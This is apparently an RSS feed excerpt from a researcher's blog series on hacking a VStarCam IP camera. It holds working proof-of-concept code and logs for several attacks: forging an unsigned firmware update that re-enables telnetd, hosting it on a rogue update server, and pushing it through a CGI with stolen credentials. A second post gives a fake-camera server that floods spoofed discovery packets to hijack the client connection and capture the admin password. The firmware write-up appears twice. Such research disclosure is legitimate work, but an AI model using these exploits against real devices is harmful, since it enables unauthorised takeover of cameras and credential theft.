<p>https://github.com/twigie4/C7824WIP</p>
<h2>Looking at the updates</h2>
<p>Using binwalk, we can take a look at the innards of the update, pulling it apart shows that it is a collection of ZIP files,each a single zip file, combined together into a special update format.</p>
<p>Extracted, the file tree looks like this.</p>
<pre class="code-block"><code>── system
    ├── init
    │   ├── ipcam.sh
    │   └── seq_ap6181.sh
    └── system
        ├── bin
        │   ├── brushFlash
        │   ├── cmd_thread
        │   ├── encoder
        │   ├── fwversion.bin
        │   ├── gpio_aplink.ko
        │   ├── grade.sh
        │   ├── load3516d
        │   ├── load3518
        │   ├── load3518ev200
        │   ├── motogpio.ko
        │   ├── sysversion.txt
        │   ├── updata
        │   ├── wifidaemon
        │   └── wpa_supplicant
        └── lib
            ├── libOnvif.so
            ├── libsns_ar0130_720p.so
            ├── libsns_gc1004.so
            ├── libsns_gc1024.so
            ├── libsns_h42.so
            ├── libsns_ov9712_plus.so
            ├── libsns_sc1045.so
            └── libvoice_arm.so

5 directories, 48 files</code></pre>
<p>When looking at the files individually, we can quickly note the important ones, ipcam.sh, which has telnetd commented out inside it, and fwversion.bin which contains a byte version of the 4 byte version number given in the app.</p>
<p>Comparing this update with the others, show that the validating change to the update is the version number, fwversion.bin.</p>
<p>If we can modify the update so it turns back on telnetd, and increments the fwversion.bin, we can overwrite any update, even potentially reverting the firmware to a older version.</p>
<p>We may also have to deal with file checksums, hashing, and signatures in the update, so we need to look more closely at the update using a hex editor, I personally like hexer, it was the only one I used that didn&#39;t crash when I opened it, except for xxd.</p>
<pre class="code-block"><code>00000000:  77 77 77 2e 6f 62 6a 65  63 74 2d 63 61 6d 65 72  www.object-camer
 00000010:  61 2e 63 6f 6d 2e 62 79  2e 68 6f 6e 67 7a 78 2e  a.com.by.hongzx.</code></pre>
<p>This first part is a sentinel value, and if you skip to the bottom, you can see a reversed version terminating it.</p>
<pre class="code-block"><code>000fd590:  e2 00 00 00 00 00 2e 78  7a 67 6e 6f 68 2e 79 62  .......xzgnoh.yb
 000fd5a0:  2e 6d 6f 63 2e 61 72 65  6d 61 63 2d 74 63 65 6a  .moc.aremac-tcej
 000fd5b0:  62 6f 2e 77 77 77 -- --  -- -- -- -- -- -- -- --  bo.www----------</code></pre>
<p>If we go to the next &quot;field&quot;, we can see that there is a directory followed by a bunch of 0x00, which we can guess is the full field width, 0x40.</p>
<pre class="code-block"><code>00000020:  73 79 73 74 65 6d 2f 73  79 73 74 65 6d 2f 62 69  system/system/bi
 00000030:  6e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  n/..............
 00000040:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000050:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................</code></pre>
<p>The next field is the filename</p>
<pre class="code-block"><code>00000060:  6c 6f 61 64 33 35 31 38  65 76 32 30 30 2e 7a 69  load3518ev200.zi
 00000070:  70 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  p...............
 00000080:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000090:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................</code></pre>
<p>After that comes two integer numbers, the first being the size (4 bytes, little-endian), then the second being the version number (8 bytes, but only using 4 now, little-endian).</p>
<pre class="code-block"><code>000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..</code></pre>
<p>We can confirm this is the size by using visual mode to measure the total bytes.</p>
<pre class="code-block"><code>visual selection:  0x000000ac - 0x00000993  0x8e8 (2280) bytes</code></pre>
<p>Then we start the zip file at 0xAC.</p>
<p>It then packs each of these zip files in a binary, padded with headers, and ended with the sentinel value reversed. Here&#39;s all the stuff we know.</p>
<pre class="code-block"><code>SENTINEL_VALUE = &quot;www.object-camera.com.by.hongzx.&quot;
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C</code></pre>
<p>Looking at the ZIPs themselves isn&#39;t particularly interesting, but one thing of note, the ZIPs all preserve directory structure, even though the ZIPs only contain one file each.</p>
<pre class="code-block"><code>000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..
 000000b0:  14 00 00 00 08 00 6c 6d  24 4e 8a b1 db 55 14 08  ......lm$N...U..
 000000c0:  00 00 19 21 00 00 1f 00  1c 00 73 79 73 74 65 6d  ...!......system
 000000d0:  2f 73 79 73 74 65 6d 2f  62 69 6e 2f 6c 6f 61 64  /system/bin/load
 000000e0:  33 35 31 38 65 76 32 30  30 55 54 09 00 03 7c f2  3518ev200UT...|.</code></pre>
<p>Since there is no checksum/signing involved, we should be able to make our own update very easily!</p>
<h2>Making our own update</h2>
<p>I wrote a simple script to put together an update out of files from the system directory. I put the files back exactly how they were and modified the fwversion.bin file to have an increased number.</p>
<pre class="code-block"><code>SENTINEL_VALUE = &quot;www.object-camera.com.by.hongzx.&quot;
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C

FILE_ORDER_PATH = &quot;rsrc/file_order&quot;
FIRMWARE_PATH = &quot;rsrc&quot;
ZIP_PATH = &quot;rsrc/zip&quot;
NEW_UPDATE_PATH = &quot;rsrc/update&quot;
FWVERSION_PATH = &quot;rsrc/system/system/bin/fwversion.bin&quot;

# Start construction
fwversion =  File.open(FWVERSION_PATH, &quot;r&quot;) {|f| f.read_bytes(Int64, IO::ByteFormat::LittleEndian)}

new_update = File.open(NEW_UPDATE_PATH, &quot;w&quot;)
new_update &lt;&lt; SENTINEL_VALUE

files = File.read(FILE_ORDER_PATH).lines
puts &quot;Loading files for update #{fwversion.to_s(16).rjust(16, &#39;0&#39;)}&quot;
puts
files.each do |file_path|
  filename = File.basename file_path
  zip_filename = filename += &quot;.zip&quot;

  # Make zip

  `cd #{FIRMWARE_PATH}; zip zip/#{zip_filename} #{file_path}`
  zip_file = File.read(&quot;#{ZIP_PATH}/#{zip_filename}&quot;)
  new_update &amp;lt;&amp;lt; (File.dirname(file_path) + &quot;/&quot;).ljust(HEADER_OFFSET_DIRECTORY.size, &quot;\x00&quot;[0])
  new_update &amp;lt;&amp;lt; zip_filename.ljust(HEADER_OFFSET_FILENAME.size, &quot;\x00&quot;[0])

  new_update.write_bytes(zip_file.bytes.size, IO::ByteFormat::LittleEndian)
  new_update.write_bytes(fwversion, IO::ByteFormat::LittleEndian)
  new_update &amp;lt;&amp;lt; zip_file

  puts &quot;#{file_path}&quot;
  puts &quot;SIZE: #{zip_file.bytes.size.to_s 16}&quot;
end

new_update &amp;lt;&amp;lt; SENTINEL_VALUE.reverse
new_update.close</code></pre>
<h2>Writing an update server</h2>
<p>Next, we need a simple program to host the file for download. The server MUST run on port 80, the camera won&#39;t accept a port argument. The cgi script also only will take a text url, not an IP address, so we need to bind our system to a URL (like badclient.local or something).</p>
<pre class="code-block"><code>require &quot;kemal&quot;

get &quot;/update&quot; do |env|
  send_file env, &quot;rsrc/update&quot;
end
Kemal.config.port = 80
Kemal.run</code></pre>
<h2>Using the exploit</h2>
<pre class="code-block"><code>require &quot;./anti-client&quot;
anti = AntiClient.new
anti.run
creds = anti.wait_for_creds
anti.close
puts &quot;GOT CREDS #{creds}&quot;

sleep 5
client = Client.new
client.run
until client.state == :main_phase
  sleep 0.1
end

spawn do
  `bin/update_server &amp;`
end
puts &quot;Ran update server&quot;
sleep 10
puts
client.send_udp_raw_get_request(&quot;/auto_download_file.cgi&quot;,
                                   server: &quot;gaming.local&quot;,
                                   file: &quot;/update&quot;,
                                   type: &quot;0&quot;,
                                   resevered1: &quot;&quot;,
                                   resevered2: &quot;&quot;,
                                   resevered3: &quot;&quot;,
                                   resevered4: &quot;&quot;,
                                   loginuse: creds[:user],
                                   loginpas: creds[:pass],
                                   user: creds[:user],
                                   pwd: creds[:pass])
sleep 10
client.close</code></pre>
<p>Which when run will start the anti-client, get the credentials, then use them to log into the camera, run the update server, then send a get request for the auto_download_file.cgi.</p>
<p>Just for reference, I know &quot;resevered&quot; is misspelled, it was actually how they wrote it in the client.</p>
<center>
<img src="/images/vstarcam/wireshark/auto_dl.png" style="width: 100%; height: 100%;">
</center>
<p>Eventually we get a reply back saying everything went OK, and we can also see in Wireshark that the file was downloaded and that the camera rebooted.</p>
<pre class="code-block"><code>I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : SENT GET /auto_download_file.cgi?server=gaming.local&amp;file=/update&amp;type=0&amp;resevered1=&amp;resevered2=&amp;resevered3=&amp;resevered4=&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password
I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : REPLY RECIEVED FROM CAMERA
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : RESPONSE RECIEVED FROM CAMERA 46
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- :
result= 0;
var result=&quot;ok&quot;;
I, [2019-03-21 07:59:10 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:11 -07:00 #10950]  INFO -- : Sent Pong</code></pre>
]]></description>
      <content:encoded><![CDATA[<p>Now that we have the username and password for the camera, there is a specific CGI that was found while making a firmware update. This CGI takes a server, and a file name, and downloads the file to the camera, and attempts a firmware update. If used properly, we could alter an update, increasing it&#39;s version number, and changing the main start up script to include telnetd again. We can also use this feature to test against the update validation logic, allowing us to write a minimal exploit to take advantage of this. For example, the update logic might say something like,&quot;I&#39;ll allow an update to run, but only if the firmware version is higher than mine, all the zip files inside validate with no errors, etc etc&quot;, and if we know exactly what those parameters are, we can write a &quot;minimal update maker&quot; to make the smallest amount of changes.</p>
<h2>Getting an update</h2>
<p>After months of playing around with this camera, I finally got a hold of my first firmware update! I went through the whole thing by hand, and used what I found to find other firmware images from previous versions.</p>
<p>https://github.com/twigie4/C7824WIP</p>
<h2>Looking at the updates</h2>
<p>Using binwalk, we can take a look at the innards of the update, pulling it apart shows that it is a collection of ZIP files,each a single zip file, combined together into a special update format.</p>
<p>Extracted, the file tree looks like this.</p>
<pre class="code-block"><code>── system
    ├── init
    │   ├── ipcam.sh
    │   └── seq_ap6181.sh
    └── system
        ├── bin
        │   ├── brushFlash
        │   ├── cmd_thread
        │   ├── encoder
        │   ├── fwversion.bin
        │   ├── gpio_aplink.ko
        │   ├── grade.sh
        │   ├── load3516d
        │   ├── load3518
        │   ├── load3518ev200
        │   ├── motogpio.ko
        │   ├── sysversion.txt
        │   ├── updata
        │   ├── wifidaemon
        │   └── wpa_supplicant
        └── lib
            ├── libOnvif.so
            ├── libsns_ar0130_720p.so
            ├── libsns_gc1004.so
            ├── libsns_gc1024.so
            ├── libsns_h42.so
            ├── libsns_ov9712_plus.so
            ├── libsns_sc1045.so
            └── libvoice_arm.so

5 directories, 48 files</code></pre>
<p>When looking at the files individually, we can quickly note the important ones, ipcam.sh, which has telnetd commented out inside it, and fwversion.bin which contains a byte version of the 4 byte version number given in the app.</p>
<p>Comparing this update with the others, show that the validating change to the update is the version number, fwversion.bin.</p>
<p>If we can modify the update so it turns back on telnetd, and increments the fwversion.bin, we can overwrite any update, even potentially reverting the firmware to a older version.</p>
<p>We may also have to deal with file checksums, hashing, and signatures in the update, so we need to look more closely at the update using a hex editor, I personally like hexer, it was the only one I used that didn&#39;t crash when I opened it, except for xxd.</p>
<pre class="code-block"><code>00000000:  77 77 77 2e 6f 62 6a 65  63 74 2d 63 61 6d 65 72  www.object-camer
 00000010:  61 2e 63 6f 6d 2e 62 79  2e 68 6f 6e 67 7a 78 2e  a.com.by.hongzx.</code></pre>
<p>This first part is a sentinel value, and if you skip to the bottom, you can see a reversed version terminating it.</p>
<pre class="code-block"><code>000fd590:  e2 00 00 00 00 00 2e 78  7a 67 6e 6f 68 2e 79 62  .......xzgnoh.yb
 000fd5a0:  2e 6d 6f 63 2e 61 72 65  6d 61 63 2d 74 63 65 6a  .moc.aremac-tcej
 000fd5b0:  62 6f 2e 77 77 77 -- --  -- -- -- -- -- -- -- --  bo.www----------</code></pre>
<p>If we go to the next &quot;field&quot;, we can see that there is a directory followed by a bunch of 0x00, which we can guess is the full field width, 0x40.</p>
<pre class="code-block"><code>00000020:  73 79 73 74 65 6d 2f 73  79 73 74 65 6d 2f 62 69  system/system/bi
 00000030:  6e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  n/..............
 00000040:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000050:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................</code></pre>
<p>The next field is the filename</p>
<pre class="code-block"><code>00000060:  6c 6f 61 64 33 35 31 38  65 76 32 30 30 2e 7a 69  load3518ev200.zi
 00000070:  70 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  p...............
 00000080:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000090:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................</code></pre>
<p>After that comes two integer numbers, the first being the size (4 bytes, little-endian), then the second being the version number (8 bytes, but only using 4 now, little-endian).</p>
<pre class="code-block"><code>000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..</code></pre>
<p>We can confirm this is the size by using visual mode to measure the total bytes.</p>
<pre class="code-block"><code>visual selection:  0x000000ac - 0x00000993  0x8e8 (2280) bytes</code></pre>
<p>Then we start the zip file at 0xAC.</p>
<p>It then packs each of these zip files in a binary, padded with headers, and ended with the sentinel value reversed. Here&#39;s all the stuff we know.</p>
<pre class="code-block"><code>SENTINEL_VALUE = &quot;www.object-camera.com.by.hongzx.&quot;
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C</code></pre>
<p>Looking at the ZIPs themselves isn&#39;t particularly interesting, but one thing of note, the ZIPs all preserve directory structure, even though the ZIPs only contain one file each.</p>
<pre class="code-block"><code>000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..
 000000b0:  14 00 00 00 08 00 6c 6d  24 4e 8a b1 db 55 14 08  ......lm$N...U..
 000000c0:  00 00 19 21 00 00 1f 00  1c 00 73 79 73 74 65 6d  ...!......system
 000000d0:  2f 73 79 73 74 65 6d 2f  62 69 6e 2f 6c 6f 61 64  /system/bin/load
 000000e0:  33 35 31 38 65 76 32 30  30 55 54 09 00 03 7c f2  3518ev200UT...|.</code></pre>
<p>Since there is no checksum/signing involved, we should be able to make our own update very easily!</p>
<h2>Making our own update</h2>
<p>I wrote a simple script to put together an update out of files from the system directory. I put the files back exactly how they were and modified the fwversion.bin file to have an increased number.</p>
<pre class="code-block"><code>SENTINEL_VALUE = &quot;www.object-camera.com.by.hongzx.&quot;
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C

FILE_ORDER_PATH = &quot;rsrc/file_order&quot;
FIRMWARE_PATH = &quot;rsrc&quot;
ZIP_PATH = &quot;rsrc/zip&quot;
NEW_UPDATE_PATH = &quot;rsrc/update&quot;
FWVERSION_PATH = &quot;rsrc/system/system/bin/fwversion.bin&quot;

# Start construction
fwversion =  File.open(FWVERSION_PATH, &quot;r&quot;) {|f| f.read_bytes(Int64, IO::ByteFormat::LittleEndian)}

new_update = File.open(NEW_UPDATE_PATH, &quot;w&quot;)
new_update &lt;&lt; SENTINEL_VALUE

files = File.read(FILE_ORDER_PATH).lines
puts &quot;Loading files for update #{fwversion.to_s(16).rjust(16, &#39;0&#39;)}&quot;
puts
files.each do |file_path|
  filename = File.basename file_path
  zip_filename = filename += &quot;.zip&quot;

  # Make zip

  `cd #{FIRMWARE_PATH}; zip zip/#{zip_filename} #{file_path}`
  zip_file = File.read(&quot;#{ZIP_PATH}/#{zip_filename}&quot;)
  new_update &amp;lt;&amp;lt; (File.dirname(file_path) + &quot;/&quot;).ljust(HEADER_OFFSET_DIRECTORY.size, &quot;\x00&quot;[0])
  new_update &amp;lt;&amp;lt; zip_filename.ljust(HEADER_OFFSET_FILENAME.size, &quot;\x00&quot;[0])

  new_update.write_bytes(zip_file.bytes.size, IO::ByteFormat::LittleEndian)
  new_update.write_bytes(fwversion, IO::ByteFormat::LittleEndian)
  new_update &amp;lt;&amp;lt; zip_file

  puts &quot;#{file_path}&quot;
  puts &quot;SIZE: #{zip_file.bytes.size.to_s 16}&quot;
end

new_update &amp;lt;&amp;lt; SENTINEL_VALUE.reverse
new_update.close</code></pre>
<h2>Writing an update server</h2>
<p>Next, we need a simple program to host the file for download. The server MUST run on port 80, the camera won&#39;t accept a port argument. The cgi script also only will take a text url, not an IP address, so we need to bind our system to a URL (like badclient.local or something).</p>
<pre class="code-block"><code>require &quot;kemal&quot;

get &quot;/update&quot; do |env|
  send_file env, &quot;rsrc/update&quot;
end
Kemal.config.port = 80
Kemal.run</code></pre>
<h2>Using the exploit</h2>
<pre class="code-block"><code>require &quot;./anti-client&quot;
anti = AntiClient.new
anti.run
creds = anti.wait_for_creds
anti.close
puts &quot;GOT CREDS #{creds}&quot;

sleep 5
client = Client.new
client.run
until client.state == :main_phase
  sleep 0.1
end

spawn do
  `bin/update_server &amp;`
end
puts &quot;Ran update server&quot;
sleep 10
puts
client.send_udp_raw_get_request(&quot;/auto_download_file.cgi&quot;,
                                   server: &quot;gaming.local&quot;,
                                   file: &quot;/update&quot;,
                                   type: &quot;0&quot;,
                                   resevered1: &quot;&quot;,
                                   resevered2: &quot;&quot;,
                                   resevered3: &quot;&quot;,
                                   resevered4: &quot;&quot;,
                                   loginuse: creds[:user],
                                   loginpas: creds[:pass],
                                   user: creds[:user],
                                   pwd: creds[:pass])
sleep 10
client.close</code></pre>
<p>Which when run will start the anti-client, get the credentials, then use them to log into the camera, run the update server, then send a get request for the auto_download_file.cgi.</p>
<p>Just for reference, I know &quot;resevered&quot; is misspelled, it was actually how they wrote it in the client.</p>
<center>
<img src="/images/vstarcam/wireshark/auto_dl.png" style="width: 100%; height: 100%;">
</center>
<p>Eventually we get a reply back saying everything went OK, and we can also see in Wireshark that the file was downloaded and that the camera rebooted.</p>
<pre class="code-block"><code>I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : SENT GET /auto_download_file.cgi?server=gaming.local&amp;file=/update&amp;type=0&amp;resevered1=&amp;resevered2=&amp;resevered3=&amp;resevered4=&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password
I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : REPLY RECIEVED FROM CAMERA
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : RESPONSE RECIEVED FROM CAMERA 46
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- :
result= 0;
var result=&quot;ok&quot;;
I, [2019-03-21 07:59:10 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:11 -07:00 #10950]  INFO -- : Sent Pong</code></pre>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Installation &amp; Testing</title>
      <link>https://sol.vin/vstarcam_journey/8.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/8.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Exploitation</category>
      <category domain="skill-slug">exploitation</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Exploitation</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <description><![CDATA[<p>The new goal is to write a fake camera server, a piece of software that will pretend to be a camera, to the client, and use it to pry information out. Where do we start?</p>
<p>First thing I did was sit down and flesh out a basic connection process.</p>
<p>1. Wait for DBP from client (f130 from 8600) (client to 255.255.255.255) 2. Capture DBR from camera  (44480108 from 6801) (camera to 255.255.255.255) * Get UID, change IP, MAC, and/or other info. 3. Spam DBR at client (to beat out camera.) 4. Wait for BCP from client 5. Send BPS to client 6. Wait for BPS from client 7. Forge BPA to client. 8. Main phase, ping pong, wait for a GET with login params. 9. Once we get password, send disconnect, and close server.</p>
<h2>Capture DBP from client</h2>
<p>The client is going to send a DBP out to discover camera on the network, we need to listen for this so we can determine what IP address the client is at.</p>
<pre class="code-block"><code>def listen_for_client_dbp
  # TODO: ADD TIMEOUTS!
  got_dbp = false
  LOG.info(&quot;Waiting to receive the DBP from a client&quot;)
  until got_dbp
    potential_dbp = @db_camera_sock.receive
    got_dbp = true if potential_dbp[0] == DBP
  end
  got_dbp
end</code></pre>
<h2>Capture DBR from the camera</h2>
<p>The camera will send out the DBR, we need to capture that and hold it for replay.</p>
<pre class="code-block"><code>def listen_for_camera_dbr
  # TODO: ADD TIMEOUTS!
  got_dbr = false
  LOG.info(&quot;Waiting to receive the DBR from a camera&quot;)

  until got_dbr
    potential_dbr = @db_client_sock.receive
    LOG.info(&quot;Got a potential DBR from a client&quot;)

    if potential_dbr[0][0..3] == DBR_HEADER
      got_dbr = true
      @camera = potential_dbr[1]
      LOG.info &quot;GOT DBR TARGET #{@camera}&quot;
    end
  end
  if potential_dbr
    @dbr = Client.parse_dbr potential_dbr
    @dbr
  else
    nil
  end
end</code></pre>
<h2>Spam DBR</h2>
<p>Now, we need to both, disrupt connection of the camera, as well as flood our client with DBR. This step took me a while to figure out, and I ran through a whole load of things to try and disrupt the camera. Before I discovered this DoS, I would literally just simulate a disconnect on the camera by unplugging it from the network.</p>
<p>Some things I tried,</p>
<ul>
  <li>UDP Flooding</li>
  <li>Connection spamming</li>
</ul>
<p><em> Opening up connections with the camera and disconnecting constantly. </em> EX: DBP -&gt; DBR -&gt; BCP -&gt; BPS -&gt; BPA -&gt; RESTART * Hangs camera a bit, as it waits for and tracks ping-pong through the protocol.</p>
<ul>
  <li>Broadcast flooding</li>
</ul>
<p>* Flooding the broadcast with DBP/BCP to tie up camera resources.</p>
<p>In the end after quite a lot of testing I used this tactic to get it to disrupt, flooding the client with DBR, which luckily disconnects the client from the camera, and when it reconnects, our DBR will always be first to the connection.</p>
<pre class="code-block"><code># We just need to get our DBR in before the camera.
def spam_dbr(dbr)
  @spam_dbr = true
  LOG.info &quot;Spamming DBR!&quot;
  spam_fiber = spawn do
    while @spam_dbr
      begin
        send_dbr(dbr)
        sleep 0.000001
      rescue e
        LOG.info &quot;SPAM DBR EXCEPTION #{e}&quot;
      end
    end
    LOG.info &quot;Spamming DBR Finished!&quot;
  end
end</code></pre>
<h2>Handle BP Handshake</h2>
<p>Now that the spam fiber is running in the background, we need to wait for BCP, once we get it we will send the BPS, wait for reply, the send four BPA. Our tick will have this inside.</p>
<pre class="code-block"><code>elsif state == :listen_for_client_bcp
  listen_for_client_bcp
  change_state :send_bps
elsif state == :send_bps
  send_bps @dbr[:uid]
  change_state :receive_bps
elsif state == :receive_bps
  if receive_bps(5)
    @spam_dbr = false
    change_state :send_4_bpa
  else
    change_state :listen_for_client_bcp
  end
elsif state == :send_4_bpa
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_bpa(@dbr[:uid])
  send_pong
  if wait_for_client_ping(5)
    change_state :main_phase
  else
    change_state :spam
  end</code></pre>
<h2>Waiting for Ping</h2>
<p>We need to verify the client really is targeting us, so we send a pong, if we get a ping back, we have initiated connection. I implemented a basic timeout for the connection that will change the state back to the start if there was an issue.</p>
<pre class="code-block"><code>def wait_for_client_ping(timeout)
  LOG.info &quot;Waiting for client ping&quot;
  ping_channel = Channel(Bool).new

  main_fiber = spawn do
    got_ping = false
    until got_ping
      potential_ping = @data_channel.receive
      if potential_ping[0] == PING_PACKET
        got_ping = true
      elsif potential_ping[0] == UNBLOCK_FIBER_DATA
        break
      end
    end
    ping_channel.send got_ping
  end
  timeout_fiber = spawn do
    sleep timeout
    unblock_data
  end
  got_ping = ping_channel.receive
  if got_ping
    LOG.info &quot;PING SUCCESSFUL&quot;
  else
    LOG.info &quot;PING UNSUCCESSFUL&quot;
  end
  got_ping
end</code></pre>
<h2>Getting the Password</h2>
<p>At this point we have done everything we needed, and the client should be spilling it&#39;s guts to us.</p>
<pre class="code-block"><code>[Running] crystal &quot;/home/ian/Documents/crystal/vstarcam-investigational-journey/client/src/sandbox.cr&quot;
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Opening ports
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Ports opened
I, [2019-03-13 20:24:28 -07:00 #25421]  INFO -- : Waiting to receive the DBP from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_camera_dbr
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting to receive the DBR from a camera
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Got a potential DBR from a client
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : GOT DBR TARGET 192.168.11.140:8600
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Parsed new target camera {:camera_ip =&gt; &quot;192.168.11.140&quot;, :netmask =&gt; &quot;255.255.255.0&quot;, :gateway =&gt; &quot;192.168.11.1&quot;, :dns1 =&gt; &quot;8.8.8.8&quot;, :dns2 =&gt; &quot;192.168.11.1&quot;, :mac_address =&gt; &quot;48:02:2A:0B:DB:B4&quot;, :http_port =&gt; &quot;47250&quot;, :uid =&gt; &quot;VSTB668515UZCPK&quot;, :name =&gt; &quot;IPMAN&quot;, :ddns_ip =&gt; &quot;48.53.72.104&quot;, :unknown1 =&gt; &quot;\u0001&quot;, :ddns_url =&gt; &quot;user2.ipcam.so&quot;, :sn =&gt; &quot;dqqlz&quot;, :ddns_password =&gt; &quot;252926&quot;}
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to spam
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR!
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : BPS SUCCESSFUL
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Changing to send_4_bpa
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Sent Pong
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Waiting for client ping
I, [2019-03-13 20:24:31 -07:00 #25421]  INFO -- : Spamming DBR Finished!
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : PING SUCCESSFUL
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : Changing to main_phase
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421]  INFO -- :
GET /check_user.cgi?name=300178294&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;
